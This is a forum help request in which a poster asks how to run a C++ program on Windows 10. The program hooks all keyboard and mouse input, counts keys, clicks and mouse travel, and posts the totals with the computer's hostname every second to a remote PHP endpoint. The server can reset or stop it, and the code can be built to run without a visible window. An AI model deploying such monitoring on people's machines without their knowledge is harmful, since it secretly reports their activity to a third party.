有大神能帮我看看这段代码怎么在win10上跑起来嘛

big-rabbit 2018-07-10 04:55:49
#define _WIN32_WINNT 0400 //定义全局变量 意义?
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define WH_KEYBOARD_LL 13
#define WH_MOUSE_LL 14
#include <iostream>
#include <fstream>
#include <string>
#include <cmath>
#include <afxinet.h> //定义了MFC的CInternetSession类等
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
using namespace std;

//文件名全局变量
char filename[42] = { 0 };

//原始数据结构体
struct rawDATA
{
int time;
string info;
int x;
int y;
int key;
double d;
}rdata[3]; //这个结构体一共有三个成员,以数组的形式存储 变量名为rdata

/*
* post函数
* 参数:全局变量 hostName的引用 pathname postData
*/
bool PostHttpPage(const std::string& hostName, const std::string& pathName, const std::string& postData) //传入的是函数的引用而不是函数的参数本身
{
CInternetSession session("sjsz"); //创建一个Internet会话

// session.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, 3000); // 3秒的连接超时
// session.SetOption(INTERNET_OPTION_SEND_TIMEOUT, 3000); // 3秒的发送超时
// session.SetOption(INTERNET_OPTION_RECEIVE_TIMEOUT, 3000); // 3秒的接收超时
// session.SetOption(INTERNET_OPTION_DATA_SEND_TIMEOUT, 3000); // 3秒的发送超时
// session.SetOption(INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, 3000); // 3秒的接收超时
// session.SetOption(INTERNET_OPTION_CONNECT_RETRIES, 1); // 1次重试

try
{
INTERNET_PORT nPort = 80;
DWORD dwRet = 0;

/*
* c_str()函数是为了保证c++字符串与C兼容而转化为c中的字符串指针的形式
*/
CHttpConnection* pServer = session.GetHttpConnection(hostName.c_str(), nPort);
if (!pServer)
{
return false;
}
CHttpFile* pFile = pServer->OpenRequest(CHttpConnection::HTTP_VERB_POST, pathName.c_str());
if (!pFile)
{
return false;
}
CString strHeaders = "Content-Type: application/x-www-form-urlencoded"; // 请求头

//开始发送请求

pFile->SendRequest(strHeaders, (LPVOID)postData.c_str(), postData.size());
pFile->QueryInfoStatusCode(dwRet);


if (dwRet == HTTP_STATUS_OK)
{
CString result, newline;

while (pFile->ReadString(newline))
{
//循环读取每行内容
result += newline;
}

//判断是否有重置命令,_T转换为8位
if (result == _T("reset"))
{
rdata[2].x = 0;
rdata[2].y = 0;
rdata[2].key = 0;
rdata[2].d = 0;
}

if (result == _T("exit"))
{
exit(0);
}

std::cout << result << std::endl;//显示返回内容
//printf("%s",result);
}
else
{
return false;
}
delete pFile;
delete pServer;

}
catch (CInternetException* pEx)
{
//catch errors from WinInet
TCHAR pszError[200];
pEx->GetErrorMessage(pszError, 200);

std::cout << pszError << std::endl;//显示异常信息

return false;
}
session.Close(); //关闭session

return true;

}

//数据分析发送analyze
void postdata()
{
//[0]本次数据,[1]上次数据,[2]总和数据//,[3]平均数据

if (rdata[1].x)
{
if (rdata[0].info == "lup")
rdata[2].x++;
else if (rdata[0].info == "rup")
rdata[2].y++;
else if (rdata[0].info == "keyup")
rdata[2].key++;
else if (rdata[0].info == "syskeyup")
rdata[2].key++;
else if (rdata[0].info == "move")
rdata[2].d = rdata[2].d + sqrt(pow((rdata[0].y - rdata[1].y), 2) + pow((rdata[0].x - rdata[1].x), 2)) / 1000;
}

//分析结束,本次数据存入[1]中
rdata[1] = rdata[0];

}


//键盘钩子结构体
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
DWORD dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

//鼠标钩子结构体
typedef struct tagMSLLHOOKSTRUCT {
POINT pt;
DWORD mouseData;
DWORD flags;
DWORD time;
DWORD dwExtraInfo;
} MSLLHOOKSTRUCT, FAR *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;

DWORD g_main_tid = 0;
HHOOK g_kb_hook = 0;
HHOOK g_ms_hook = 0;

BOOL CALLBACK con_handler(DWORD)
{
PostThreadMessage(g_main_tid, WM_QUIT, 0, 0);
return TRUE;
};

//键盘回调函数
LRESULT CALLBACK kb_proc(int code, WPARAM w, LPARAM l)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)l;
const char *info = NULL;
if (w == WM_KEYDOWN)
info = "keydn";
else if (w == WM_KEYUP)
info = "keyup";
else if (w == WM_SYSKEYDOWN)
info = "syskeydn";
else if (w == WM_SYSKEYUP)
info = "syskeyup";

//写入文件
SYSTEMTIME sys;
GetLocalTime(&sys);

// ofstream outfile(filename,ios::app);
// outfile<<(sys.wHour*10000000+sys.wMinute*100000+sys.wSecond*1000+sys.wMilliseconds)
// <<","<<info<<","<<p->vkCode<<","<<p->scanCode<<endl;
// outfile.close();

rdata[0].time = sys.wHour * 10000000 + sys.wMinute * 100000 + sys.wSecond * 1000 + sys.wMilliseconds;
rdata[0].info = info;
rdata[0].key = p->scanCode;
postdata();

printf("%s - vkCode [%04x], scanCode [%04x]\n", info, p->vkCode, p->scanCode);

Sleep(1);

return CallNextHookEx(g_kb_hook, code, w, l);

};

//鼠标回调函数
LRESULT CALLBACK ms_proc(int code, WPARAM w, LPARAM l)
{
PMSLLHOOKSTRUCT p = (PMSLLHOOKSTRUCT)l;
const char *info = NULL;
switch (w)
{
case WM_LBUTTONDOWN: info = "ldn"; break;
case WM_LBUTTONUP: info = "lup"; break;
case WM_LBUTTONDBLCLK: info = "lclick"; break;
case WM_RBUTTONDOWN: info = "rdn"; break;
case WM_RBUTTONUP: info = "rup"; break;
case WM_RBUTTONDBLCLK: info = "rclick"; break;
//case WM_MBUTTONDOWN: info="m"; break;
//case WM_MBUTTONUP: info="mup"; break;
// //case WM_MBUTTONDBLCLK:
// button = MouseButtons.Middle;
// break;
default: info = "move"; break;
}

//写入文件
SYSTEMTIME sys;
GetLocalTime(&sys);

// ofstream outfile(filename,ios::app);
// outfile<<(sys.wHour*10000000+sys.wMinute*100000+sys.wSecond*1000+sys.wMilliseconds)
// <<","<<info<<","<<p->pt.x<<","<<p->pt.y<<endl;
// outfile.close();

rdata[0].time = sys.wHour * 10000000 + sys.wMinute * 100000 + sys.wSecond * 1000 + sys.wMilliseconds;
rdata[0].info = info;
rdata[0].x = p->pt.x;
rdata[0].y = p->pt.y;
postdata();

printf("%s - x [%d], y [%d]\n", info, p->pt.x, p->pt.y);

Sleep(1000);

return CallNextHookEx(g_ms_hook, code, w, l);

};

//创建文件
void creatfile()
{
cout << "create file method start -- 2" << endl;
//获取计算机名
WSADATA wsData;
WSAStartup(MAKEWORD(1, 1), &wsData);
char szHostName[32] = "";
gethostname(szHostName, sizeof(szHostName));
WSACleanup();

//获取系统时间
SYSTEMTIME sys;
GetLocalTime(&sys);

//计算文件名
sprintf(filename, "%d", (sys.wYear * 10000 + sys.wMonth * 100 + sys.wDay));
strcat(filename, "+");
strcat(filename, szHostName);
strcat(filename, ".txt");

cout << filename << endl;
cout << "Q1 没有创建文件 -- 3" << endl;

//创建文件
// ofstream outfile(filename);
// outfile.close();

}

DWORD WINAPI Fun1Proc(LPVOID lpParameter);//thread data

//主程序
int main()
{

std::cout << "program start -- 1" << std::endl;
//添加互斥确保程序唯一
HANDLE hMutex = ::CreateMutex(NULL, TRUE, "szsj"); //互斥锁,第一个参数是指向安全的指针 , 第二个参数书初始化互斥对象的所有者, 第三个参数是指向互斥对象名的指针
//到目前为止,只是创建了一个名为szsj的锁,但是,没有锁任何东西
if (GetLastError() == ERROR_ALREADY_EXISTS) //检查错误代码,如果有同名的程序使用资源,则会返回错误代码ERROR_ALREADY_EXISTS
{
cout << "已启动!" << endl;
exit(0);
}
if (hMutex)
{
::ReleaseMutex(hMutex); //解锁
}

creatfile(); //创建文件
cout << "getname" << filename << endl;

HANDLE hThread1;
//创建线程

hThread1 = CreateThread(NULL, 0, Fun1Proc, NULL, 0, NULL);
CloseHandle(hThread1);

g_main_tid = GetCurrentThreadId();
SetConsoleCtrlHandler(&con_handler, TRUE);

//安装键盘钩子
g_kb_hook = SetWindowsHookEx( //键盘钩子可以获取键盘活动的相关信息
WH_KEYBOARD_LL,
&kb_proc,
GetModuleHandle(NULL), // 不能为NULL,否则失败
0);
if (g_kb_hook == NULL)
{
fprintf(stderr,
"SetWindowsHookEx failed with error %d\n",
::GetLastError());
return 0;
};

//安装鼠标钩子
g_ms_hook = SetWindowsHookEx(
WH_MOUSE_LL,
&ms_proc,
GetModuleHandle(NULL), // 不能为NULL,否则失败
0);
if (g_ms_hook == NULL)
{
fprintf(stderr,
"SetWindowsHookEx failed with error %d\n",
::GetLastError());
return 0;
};

//消息循环
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
};

//卸载钩子
UnhookWindowsHookEx(g_kb_hook);
UnhookWindowsHookEx(g_ms_hook);

return 0;
}

//线程1的入口函数
DWORD WINAPI Fun1Proc(LPVOID lpParameter)//thread data
{
while (1)
{
string name;
char pdata[300];

//机器名
name = filename;
size_t iPos1 = name.find("+");
size_t iPos2 = name.find(".");
name = name.substr(iPos1 + 1, iPos2 - iPos1 - 1);

//左键右键按键距离赋值
sprintf(pdata, "name=%s&left=%d&right=%d&key=%d&distance=%.2f", name.c_str(), rdata[2].x, rdata[2].y, rdata[2].key, rdata[2].d);
PostHttpPage("sz.zwill.cn", "00.php", pdata);
cout << pdata << endl;

Sleep(1000);
}

return 0;
}
...全文
195 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
赵4老师 2018-07-10
  • 打赏
  • 举报
回复
听说64位系统上钩子分32/64位要分别钩。

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧